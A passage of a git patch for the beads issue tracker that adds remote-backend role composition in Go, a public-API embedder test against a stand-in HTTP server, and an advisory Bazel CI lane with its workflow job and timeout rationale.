CloseBatchRequest.ClaimNext refusal", err) + } + if msg := err.Error(); !strings.Contains(msg, "cannot carry a next claim") || !strings.Contains(msg, "nothing was closed") || !strings.Contains(msg, "then run `bd ready --claim`") { + t.Fatalf("refusal %q does not say why, that nothing closed, and what to run instead", msg) + } + } + if !slices.Equal(raw.served, tc.wantServed) { + t.Fatalf("served calls = %v, want %v", raw.served, tc.wantServed) + } + if len(raw.closes) != 0 || len(raw.edgeReads) != 0 || raw.scans != 0 { + t.Fatalf("closes %v, edge reads %v, scans %d; want none", raw.closes, raw.edgeReads, raw.scans) + } + }) + } +} + +// TestRemoteBatchCloserValidatesANextClaimFirst: a next claim that is invalid +// on every backend is ErrValidation, not the refusal. +func TestRemoteBatchCloserValidatesANextClaimFirst(t *testing.T) { + for name, claim := range map[string]*publicops.ReadyRequest{ + "offset": {Offset: 1}, + "bad sort": {Sort: "bogus"}, + } { + t.Run(name, func(t *testing.T) { + raw := newRemoteStore(issue("be-free")) + closer, err := testStore(raw, &fakeStore{}, true).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + + _, err = closer.CloseBatch(t.Context(), publicops.CloseBatchRequest{ + Actor: "worker", Items: closeItems("be-free"), ClaimNext: claim, + }) + var unsupported *storage.ErrUnsupported + if !errors.Is(err, storage.ErrValidation) || errors.As(err, &unsupported) { + t.Fatalf("CloseBatch with ClaimNext %+v = %v, want ErrValidation", claim, err) + } + }) + } +} diff --git a/internal/storage/externaldeps/role_accessors.go b/internal/storage/externaldeps/role_accessors.go index 464bf30dc..7ba88001d 100644 --- a/internal/storage/externaldeps/role_accessors.go +++ b/internal/storage/externaldeps/role_accessors.go @@ -14,8 +14,19 @@ import ( // IssueReader builds the read role on the policy store. In particular, Ready // and List(ReadyFlag) must call this store's filtered ready methods rather than -// promoted methods on the undecorated store. -func (s *Store) IssueReader() (issueops.Reader, error) { return storereader.New(s) } +// promoted methods on the undecorated store. Over a remote store the served +// reader answers everything else (remote_roles.go). +func (s *Store) IssueReader() (issueops.Reader, error) { + policy, err := storereader.New(s) + if err != nil || !s.servesRoles() { + return policy, err + } + served, err := s.inner.IssueReader() + if err != nil { + return nil, err + } + return &remoteReader{served: served, policy: policy}, nil +} // IssueClaimer rejects a direct claim of externally blocked work before the // backend's atomic claim operation. ReadyClaimer below handles selection among @@ -25,6 +36,9 @@ func (s *Store) IssueClaimer() (issueops.Claimer, error) { if err != nil { return nil, err } + if s.servesRoles() { + return &remoteClaimer{served: inner, policy: s}, nil + } return &issueClaimer{inner: inner, policy: s}, nil } @@ -47,6 +61,9 @@ func (c *issueClaimer) Claim(ctx context.Context, req issueops.ClaimRequest) (is // ReadyClaimer keeps external blockers out of the ready-claim selection used // by HTTP serving. The local compare-and-swap remains inside ClaimReadyIssue. func (s *Store) ReadyClaimer() (issueops.ReadyClaimer, error) { + if s.servesRoles() { + return &remoteReadyClaimer{policy: s}, nil + } return &readyClaimer{policy: s}, nil } @@ -86,6 +103,9 @@ func (s *Store) BlockingAnnotator() (issueops.BlockingAnnotator, error) { if err != nil { return nil, err } + if s.servesRoles() { + return &remoteBlockingAnnotator{served: inner, policy: s}, nil + } return &blockingAnnotator{inner: inner, policy: s}, nil } @@ -119,6 +139,9 @@ func (s *Store) TreeWalker() (issueops.TreeWalker, error) { if err != nil { return nil, err } + if s.servesRoles() { + return &remoteTreeWalker{served: inner, policy: s}, nil + } return &treeWalker{inner: inner, policy: s}, nil } @@ -128,7 +151,7 @@ type treeWalker struct { } func (t *treeWalker) WalkTree(ctx context.Context, req issueops.WalkTreeRequest) (issueops.TreeResult, error) { - if (req.Direction != "" && req.Direction != issueops.TreeDown) || req.Status != "" || req.MaxRows != 0 { + if !plainDownTree(req) { return t.inner.WalkTree(ctx, req) } nodes, err := t.policy.GetDependencyTree(ctx, req.RootID, req.MaxDepth, false, false) diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 61f80cde0..c4a2ba951 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -1022,6 +1022,55 @@ type ExternalDependencyQueryStore interface { GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) } +// RemoteBackendStore is implemented by a DoltStorage that is a pure network +// client of a remote bd serve process (a registered backend whose +// backends.Backend.Remote is true — see internal/storage/backends). It is +// metadata about the store's transport, not a policy decision. Its one in-tree +// consumer is the external-deps decorator, which wraps a remote store like any +// other and reads this marker only to choose how it composes its roles: over a +// remote store it builds each role on the store's own served role instead of +// the legacy methods such a store refuses. Whether the decorator skips its +// client-side enforcement is ExternalDependencyPolicyProber's question. +type RemoteBackendStore interface { + IsRemoteBackendStore() bool +} + +// ExternalDependencyPolicyProber is implemented by a DoltStorage that can +// answer whether the remote server it talks to already enforces bd's +// external-dependency policy itself (design 3.6, "External-dependency server +// policy": upstream's storage.ServerEnforcedPolicy / PolicyEnforcedByServer). +// The external-deps decorator consults this — never RemoteBackendStore, which +// only shapes how it composes its roles — before skipping its own client-side +// enforcement: a remote store whose +// server advertises the capability (httpapi's policy.external_dependencies) +// has already enforced the policy before answering, so a second client-side +// pass would be redundant. A store that does not implement this interface, or +// that implements it and reports false — including a remote store whose +// server is silent on the capability — gets the ordinary client-side +// enforcement. The policy is never silently skipped merely because the store +// is remote. +type ExternalDependencyPolicyProber interface { + ServerEnforcesExternalDependencyPolicy(ctx context.Context) (bool, error) +} + +// ExcludeIDsUnsupportedStore is implemented by a DoltStorage whose ready-work +// reads cannot express types.WorkFilter.ExcludeIDs over their own transport. +// Today that is exactly httpclient.Store: the v0 wire's listReadyWork and +// countReadyWork operations publish no id-exclusion parameter, so the http +// bridge refuses rather than silently widening the result set whenever a +// filter carries any (design 3.6 / L12, "every field it cannot express +// refuses"). +// +// The external-deps decorator consults this before deciding how to apply its +// OWN additional exclusions (issues blocked by an unsatisfied +// external:: dependency): a store that answers true here +// gets those exclusions applied client-side in Go instead of folded into the +// filter handed down, so the policy still runs — design 3.6 says it is never +// silently skipped — without tripping the wire's own refusal. +type ExcludeIDsUnsupportedStore interface { + ExcludeIDsUnsupported() bool +} + // Transaction provides atomic multi-operation support within a single database transaction. // // The Transaction interface exposes a subset of storage methods that execute within diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index c2e206425..ebbedeaa1 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -898,6 +898,10 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :served_pinned_shards.txt)", "$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + "//backend/http:http_served_test": { + []string{"$(rootpath :http_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, + map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", "BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, "//cmd/bd:bd_proxied_test": { []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, map[string]string{ diff --git a/test/embedder/BUILD.bazel b/test/embedder/BUILD.bazel new file mode 100644 index 000000000..f17f9cd85 --- /dev/null +++ b/test/embedder/BUILD.bazel @@ -0,0 +1,73 @@ +load("@rules_go//go:def.bzl", "go_test") + +go_test( + name = "embedder_test", + srcs = ["embedder_test.go"], + deps = [ + "//:beads", + "//backend", + "//backend/http", + "//issueops", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +# --- end repo_files --- diff --git a/test/embedder/embedder_test.go b/test/embedder/embedder_test.go new file mode 100644 index 000000000..66ab6c6c5 --- /dev/null +++ b/test/embedder/embedder_test.go @@ -0,0 +1,253 @@ +// Package embedder_test proves the one promise S6 makes to an out-of-tree +// embedder (gc, Gas City is the motivating case): linking nothing but PUBLIC +// doors — github.com/steveyegge/beads, .../backend, and .../backend/http — is +// enough to register the http backend and open a workspace through it with a +// per-call credential, via beads.OpenBestAvailableWith. +// +// Written fresh for OSS beads S6 (no bd-enterprise source copied). This +// package imports ONLY those three import paths (plus the standard library +// and net/http/httptest for the stand-in server): no internal/... package +// appears in this file's imports, which is itself the thing under test — an +// internal import here would compile today and break silently the day +// internal/httpclient's shape changes, defeating the whole point of a public +// door. +package embedder_test + +import ( + "context" + "encoding/json" + "go/parser" + "go/token" + "net/http" + "net/http/httptest" + "net/url" + "os" + "path/filepath" + "strconv" + "strings" + "sync" + "testing" + + beads "github.com/steveyegge/beads" + "github.com/steveyegge/beads/backend" + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/issueops" +) + +// TestNoInternalImports is the mechanical, enforced form of this file's doc +// comment promise above: nothing in this package may import a +// github.com/steveyegge/beads/internal/... package, directly or otherwise. +// That import would compile fine today and only break silently the day some +// internal package's shape changes — exactly what a public-door embedder +// test exists to catch before it ships. It replaces an earlier, separate +// go.mod for this directory: a second module cannot see internal/... either, +// but it is heavier machinery for the same guarantee, and nothing stops a +// future edit from deleting a go.mod quietly, whereas this test fails loudly +// in the same `go test` run as everything else. +// +// It only inspects this package's own files' import declarations +// (go/parser, ImportsOnly — no type-checking, so it stays fast and adds no +// dependency beyond the standard library) and does not recurse into what +// those imports themselves pull in; that transitive check is exactly what +// go build/go vet already do on every change. +func TestNoInternalImports(t *testing.T) { + fset := token.NewFileSet() + pkgs, err := parser.ParseDir(fset, ".", nil, parser.ImportsOnly) + if err != nil { + t.Fatalf("ParseDir: %v", err) + } + const forbidden = "github.com/steveyegge/beads/internal" + for _, pkg := range pkgs { + for filename, file := range pkg.Files { + for _, imp := range file.Imports { + path, err := strconv.Unquote(imp.Path.Value) + if err != nil { + t.Fatalf("%s: unquoting import %s: %v", filename, imp.Path.Value, err) + } + if path == forbidden || strings.HasPrefix(path, forbidden+"/") { + t.Errorf("%s imports %q: test/embedder must link only public doors, never an internal/... package", filename, path) + } + } + } + } +} + +const embedderProjectID = "proj-gc-tenant" + +// embedderReadyIssueID is the one issue the stand-in server's /v0/beads/ready +// page carries, so the test has something distinctive to assert on besides +// "the call did not error". +const embedderReadyIssueID = "gc-1" + +// backendName is spelled literally, the way a workspace's metadata.json +// carries it, rather than read back from a re-exported constant: bdhttp +// deliberately exports no Backend name constant (see backend/http/http.go), +// so a rename of the registry key here would be caught by every CONNECTED +// workspace left unopenable, which is the fact this spells out explicitly +// instead of hiding behind a symbol that does not exist. +const backendName = "http" + +// TestEmbedderOpensTheHTTPBackendThroughThePublicDoorsOnly is the linkage +// proof: Register from the public backend/http door, a workspace described +// only by the public Target/SaveTarget helpers, and +// beads.OpenBestAvailableWith from the public root package — no package under +// internal/... in the call chain this test writes. +func TestEmbedderOpensTheHTTPBackendThroughThePublicDoorsOnly(t *testing.T) { + server := newStandInServer(t) + bdhttp.Register(bdhttp.Options{HTTPClient: server.Client()}) + t.Cleanup(func() { backend.Deregister(backendName) }) + + beadsDir := filepath.Join(t.TempDir(), ".beads") + // SaveTarget, like the package's other low-level helpers, writes into an + // already-existing directory; creating it is the caller's job (cmd/bd's + // connect command does the same MkdirAll before calling SaveTarget). + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir %s: %v", beadsDir, err) + } + base, err := url.Parse(server.URL) + if err != nil { + t.Fatalf("parse stand-in server URL: %v", err) + } + target := bdhttp.Target{BaseURL: base, ExpectProjectID: embedderProjectID} + // Attach is the one public call that activates a workspace for this + // backend: it writes the per-user sidecar (what SaveTarget alone used to + // leave to this test) AND metadata.json's {"backend": "http"} selection — + // the fact that tells OpenBestAvailableWith to consult the registry at + // all — in one call, the same pair `bd connect` itself now calls through + // (cmd/bd/connect.go). Before Attach existed this test hand-wrote + // metadata.json's JSON shape directly, since there was no public door + // onto that second file's writer; asserting the on-disk shape below + // keeps this test proving the SAME canary (a rename of the registry key + // breaks every connected workspace) without reaching into + // internal/configfile for it. + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + metadataBytes, err := os.ReadFile(filepath.Join(beadsDir, "metadata.json")) + if err != nil { + t.Fatalf("reading metadata.json after Attach: %v", err) + } + var metadata struct { + Backend string `json:"backend"` + } + if err := json.Unmarshal(metadataBytes, &metadata); err != nil { + t.Fatalf("parsing metadata.json after Attach: %v", err) + } + if metadata.Backend != backendName { + t.Fatalf("metadata.json backend = %q, want %q", metadata.Backend, backendName) + } + + // A multi-tenant embedder's reason to call OpenBestAvailableWith rather + // than OpenBestAvailable: this credential is THIS caller's, not whatever + // the ambient process environment happens to hold, which belongs to no + // one tenant in a process serving many. + provider := &tenantCredential{token: "gc-tenant-token"} + store, err := beads.OpenBestAvailableWith(context.Background(), beadsDir, beads.OpenOptions{ + Credential: bdhttp.ProvidedCredential{Provider: provider}, + }) + if err != nil { + t.Fatalf("OpenBestAvailableWith: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + // The read itself goes through the role accessor, not a backend-specific + // method: IssueReader().Ready is issueops.Reader's own door, the same one + // `bd ready` calls against ANY backend. Ready is the simplest operation to + // stand a fake server in for — a single GET with no pagination contract + // and no handshake capability gate (it is a baseline v0 operation) — so + // this proves the public linkage without reimplementing the wire's + // capability negotiation in a throwaway test server. + reader, err := store.IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + page, err := reader.Ready(context.Background(), issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("Ready: %v", err) + } + if len(page.Items) != 1 || page.Items[0].ID != embedderReadyIssueID { + t.Errorf("ready page = %+v, want one item %q", page.Items, embedderReadyIssueID) + } + server.wantAuthorization(t, "Bearer gc-tenant-token") +} + +// tenantCredential is a bdhttp.CredentialProvider scoped to one embedded +// tenant, built from nothing but the public CredentialProvider interface. +type tenantCredential struct{ token string } + +func (c *tenantCredential) Authorize(_ context.Context, req *http.Request) error { + req.Header.Set("Authorization", "Bearer "+c.token) + return nil +} + +func (c *tenantCredential) Refresh(context.Context) (bool, error) { return false, nil } + +// standInServer is a minimal bd serve stand-in: just enough of the v0 +// handshake response for Open/GetMetadata to succeed, recording the +// Authorization header every request carried. +type standInServer struct { + *httptest.Server + mu sync.Mutex + auths []string +} + +func newStandInServer(t *testing.T) *standInServer { + t.Helper() + s := &standInServer{} + s.Server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + s.mu.Lock() + s.auths = append(s.auths, r.Header.Get("Authorization")) + s.mu.Unlock() + w.Header().Set("Content-Type", "application/json") + switch r.URL.Path { + case "/v0/beads/context": + // Open/OpenWith dial lazily and never fetch this on their own + // (the handshake is cached per-process on the first POST-BASELINE + // dispatch — see internal/httpclient.Store.snapshot) — Ready + // below is baseline and preflights without one. This handler + // stays in place anyway: it is the one other request a workspace + // opened through this backend could legitimately make, and a + // stand-in server that 404s it would be a trap for the next + // person who extends this test to a non-baseline operation. + _ = json.NewEncoder(w).Encode(map[string]any{ + "api_version": "v0", + "backend": "dolt", + "bd_version": "9.9.9", + "beads_dir": "/srv/.beads", + "capabilities": []string{"issues.get", "issues.list"}, + "database": "beads", + "dolt_mode": "server", + "project_id": embedderProjectID, + "repo_root": "/srv", + "schema_version": 1, + "wire_revision": 1, + "min_client_wire_revision": 1, + }) + case "/v0/beads/ready": + _ = json.NewEncoder(w).Encode(map[string]any{ + "has_more": false, + "items": []map[string]any{ + {"id": embedderReadyIssueID, "title": "embedder linkage proof", "priority": 2}, + }, + }) + default: + http.NotFound(w, r) + } + })) + t.Cleanup(s.Server.Close) + return s +} + +func (s *standInServer) wantAuthorization(t *testing.T, want string) { + t.Helper() + s.mu.Lock() + defer s.mu.Unlock() + if len(s.auths) == 0 { + t.Fatal("the stand-in server saw no requests at all") + } + for i, got := range s.auths { + if got != want { + t.Errorf("request %d carried Authorization %q, want %q", i, got, want) + } + } +} diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index fcddec75c..b7e0b6570 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -177,6 +177,7 @@ release_cross_build( ":pure_bd_has_no_cgo_only_deps", "//:beads", "//backend/conformance:conformance", + "//backend/http:http", "//backend:backend", "//beadserrors:beadserrors", "//cmd/bd/doctor/fix:fix", From eb204363c953d9eaabe7f18f7a6d313e0f21ffcb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 10:13:49 +0000 Subject: [PATCH 209/325] ci(bazel): add advisory dolt-race shadow lane (item 5 phase 1) (#7464) * ci(bazel): add advisory dolt-race shadow lane (item 5 phase 1) Add --config=dolt-race, the union of --config=doltserver and --config=doltserver-proxied with one tag filter for both tiers, and an advisory bazel-dolt-race job that runs it beside bazel-doltserver and bazel-proxied. The shadow measures one client per group of lanes against the two lanes it would replace before any cutover (item 5 slice A1a). The job runs in mode remote on pull_request and merge_group events only. It has job-level continue-on-error, no job or workflow_call output, and no gate names it, so it cannot change CI Gate or PR Risk Gate. Its ci-analytics step is copied verbatim with LANE=dolt-race, and rrc seeds the new config. Policy tests pin the config as the exact union of its members' lines (tag filter aside), the job's run modes and events, its advisory shape, the analytics lane map and the rrc command list. aquery shows every member target's TestRunner action (actionKey, argv, env, inputs, outputs) is unchanged under the union config. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): give the dolt-race shadow timeout headroom; fix gate-wait wording Review follow-up on the advisory bazel-dolt-race job (maintainer-city-c3, findings 1, 2 and 5): - Raise the job's timeout-minutes from 30 to 35. continue-on-error covers a failed or timed-out step, but not a job GitHub cancels at its own timeout, which could make the bazel call non-success and turn CI Gate red. TestBazelDoltRaceShadowIsAdvisory now reads both timeouts from the workflow and requires job >= test step + 10 (and a step timeout at all). - Correct the docs and comments: the shadow cannot fail the gate, but CI Gate still waits for it, because its needs on the bazel call completes only when every job in it has finished. - Correct the checks comment: check_testcases covers every target in the union, including the dolt-server tier its own lane never checked. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): bound every dolt-race shadow step; job timeout covers their sum Review follow-up (S1): a hang in any bazel-dolt-race step without a timeout would run into the job's own timeout, and a job GitHub cancels there is not covered by continue-on-error. Every step now has a timeout-minutes, and the job's timeout covers their sum: - checkout 5, rrc read 1, setup-bazel 10, flaky query 5, checks 3 each, test-log upload 3. The test step (25) and the analytics steps (3, 2) keep bazel-proxied's values; bazel-proxied sets no timeout on the others, so these bound them. - The step timeouts sum to 60 minutes, so the job timeout goes from 35 to 65. - TestBazelDoltRaceShadowIsAdvisory now requires a timeout on every step and job >= sum(step timeouts) + 5, read from the workflow, alongside the existing job >= test step + 10. Also cite the farm maintainer's confirmation of NativeLink 1.7.1's in-flight Execute dedupe in the job comment. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): keep dolt-race shadow timeout under the merge queue's Tighten the shadow's non-test step budgets so the job timeout (step sum + 5) is 55 minutes, and pin that it stays below the 60-minute merge queue check timeout: CI Gate waits for the shadow, so a hung shadow must not drop a group from the queue. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 26 +++ .github/scripts/rrc-lane-commands.txt | 1 + .github/workflows/bazel.yml | 173 +++++++++++++- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 33 +++ scripts/BUILD.bazel | 1 + scripts/bazel_cache_mode_test.go | 4 +- scripts/bazel_dolt_race_shadow_test.go | 305 +++++++++++++++++++++++++ scripts/bazel_rrc_test.go | 5 +- scripts/ci_analytics_workflow_test.go | 3 + scripts/ci_merge_queue_test.go | 1 + scripts/ci_workflow_test.go | 36 ++- scripts/pr_risk_bazel_coverage_test.go | 3 + 12 files changed, 584 insertions(+), 7 deletions(-) create mode 100644 scripts/bazel_dolt_race_shadow_test.go diff --git a/.bazelrc b/.bazelrc index 63d000368..61e7e0207 100644 --- a/.bazelrc +++ b/.bazelrc @@ -161,6 +161,32 @@ test:doltserver-proxied --remote_download_regex=.*/test\.(log|xml)$ # visible "Re-run failed jobs" retries it. test:doltserver-proxied --experimental_remote_cache_eviction_retries=0 +# dolt-server + proxied union (item 5, Phase 1 shadow): bazel.yml's advisory +# bazel-dolt-race job runs both tiers in one invocation, beside their own +# lanes, to measure one client per group of lanes before any cutover. Exactly +# the union of --config=doltserver's and --config=doltserver-proxied's lines, +# with one tag filter naming both tiers +# (scripts/bazel_dolt_race_shadow_test.go). Every other flag is the same in +# both members or outside any action key for the other: the race build, +# -test.parallel=4 and GO_TEST_WRAP_TESTV=1 are common; the eternal timeout +# applies to no dolt-server target; the eviction retry count is what +# doltserver already gets from --config=sole-run in mode remote, the only mode +# the shadow runs in; test_summary, local_test_jobs and remote_download_regex +# are not in any action key. So each member target's test action is +# unchanged, and the two lanes' cached results carry over. The member configs +# stay for make, developers and the member lanes. +test:dolt-race --@rules_go//go/config:race +test:dolt-race --test_tag_filters=dolt-server,dolt-server-proxied +test:dolt-race --build_tests_only +test:dolt-race --keep_going +test:dolt-race --test_summary=terse +test:dolt-race --test_timeout=-1,-1,-1,1200 +test:dolt-race --test_env=GO_TEST_WRAP_TESTV=1 +test:dolt-race --test_arg=-test.parallel=4 +test:dolt-race --local_test_jobs=4 +test:dolt-race --remote_download_regex=.*/test\.(log|xml)$ +test:dolt-race --experimental_remote_cache_eviction_retries=0 + # Server-Dolt storage tier: PR Risk's "Test (Server Dolt Conformance)" and # "Test (Server Dolt Full Suite N/16)" jobs, as # //internal/storage/dolt:dolt_server_{conformance,full}_test diff --git a/.github/scripts/rrc-lane-commands.txt b/.github/scripts/rrc-lane-commands.txt index 08bd7eb5e..8821ad271 100644 --- a/.github/scripts/rrc-lane-commands.txt +++ b/.github/scripts/rrc-lane-commands.txt @@ -9,6 +9,7 @@ test //... --config=embedded test //... --config=integration test //... --config=doltserver test //... --config=doltserver-proxied +test //... --config=dolt-race test //... --config=doltserver-integration test //... --config=doltserver-cmd build --config=pure //cmd/bd:bd //cmd/bd:bd_test //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index ce9bf223b..e78832963 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -46,7 +46,11 @@ # only what the PR changed is built and tested on the runner, and it is # their only PR-time integration run (no legacy job runs it on PRs). Mode # local (rbe=off) still skips it. Direct runs (push to main, -# workflow_dispatch, nightly.yml's call) gate nothing. +# workflow_dispatch, nightly.yml's call) gate nothing. bazel-dolt-race (the +# dolt-server + proxied union shadow, mode remote on PRs and merge groups +# only) cannot fail the gate either: no output, job-level continue-on-error. +# The gate still waits for it, as for every job of the call (see its comment +# and engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "dolt-race Shadow"). # # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to @@ -1983,6 +1987,173 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # Item 5, Phase 1 (scripts/bazel_dolt_race_shadow_test.go): the advisory + # shadow of a union lane. One `bazel test --config=dolt-race` runs the + # dolt-server and proxied-server tiers together (.bazelrc: exactly the + # union of --config=doltserver's and --config=doltserver-proxied's lines, + # one tag filter for both), beside bazel-doltserver and bazel-proxied, so + # one client per group of lanes can be compared with the two it would + # replace (end time, runner minutes, test counts and results) before any + # cutover. Each member target's test action key is unchanged, so the shadow + # and the member lanes share cached results; and rbe-west deduplicates + # identical in-flight executions (confirmed by the farm maintainer: + # NativeLink 1.7.1 subscribes a second identical Execute of a cacheable + # action to the operation already in flight), so the shadow adds no + # executions. + # Advisory: it cannot fail the gate. Job-level continue-on-error (a failed + # job otherwise fails the whole call, whose result pr.yml's ci-gate + # requires as BAZEL), no workflow_call output, no job outputs, no job in + # this file needs it, and no gate script or caller names it. The gate does + # wait for it: ci-gate needs pr.yml's bazel call, which completes only when + # every job in it has finished (success, failure or timeout), so a slow + # shadow delays the gate and the merge queue. continue-on-error does not + # cover a job GitHub cancels at its own timeout-minutes, which could turn + # the call red: every step has a timeout, and the job's exceeds their sum + # (TestBazelDoltRaceShadowIsAdvisory). Mode remote only, on + # same-repo pull requests and merge groups (mode remote on a pull_request + # is never a fork): no fork mode, no cache or local mode, and not on push, + # nightly, dispatch or bazel-farm.yml's call. Its ci-analytics LANE is + # dolt-race. Removing it is the rollback; nothing reads it. + bazel-dolt-race: + name: dolt-race + needs: rbe + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode == 'remote' && (github.event_name == 'pull_request' || github.event_name == 'merge_group') }} + # At least every step's timeout-minutes plus 5 (and the test step's plus + # 10): a hung step then fails the job (continue-on-error) before GitHub + # cancels it, which continue-on-error does not cover + # (TestBazelDoltRaceShadowIsAdvisory). bazel-proxied's steps have no + # timeouts but its test step's; these bound the rest. + timeout-minutes: 55 + continue-on-error: true + steps: + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + timeout-minutes: 5 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + timeout-minutes: 1 + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + + - name: Set up Bazel + id: bazel + timeout-minutes: 5 + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.mode == 'remote' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + BAZEL_FORK_REMOTE: ${{ startsWith(needs.rbe.outputs.mode, 'fork-') && 'true' || '' }} + RBE_FORK_TIER: ${{ needs.rbe.outputs.tier }} + RBE_FORK_PR: ${{ github.event.pull_request.number }} + + # As in bazel-proxied. + - name: No test target is marked flaky + timeout-minutes: 3 + run: | + flaky="$(bazel query 'attr(flaky, 1, tests(//...))')" + if [ -n "$flaky" ]; then + echo "::error::flaky = True on ${flaky//$'\n'/ }: the gated lanes run each test once" + exit 1 + fi + + # Both tiers' shards at once: 27 dolt-server + 35 proxied test actions, + # under the remote-exec config's 64 jobs. The step timeout is + # bazel-proxied's (the longer tier on rbe-west). + - name: bazel test //... --config=dolt-race + id: test + timeout-minutes: 25 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=dolt-race ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=dolt-race: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # The member lanes' checks over the union's BEP: bazel-proxied's (the + # dolt-server lane has none). check_shard_coverage ignores targets it + # does not list; check_testcases checks every target, so it covers the + # dolt-server tier too, which bazel-doltserver does not check: a + # dolt-server shard that runs no test turns this job red while both + # member lanes stay green. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + timeout-minutes: 2 + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Every listed test ran in its shard 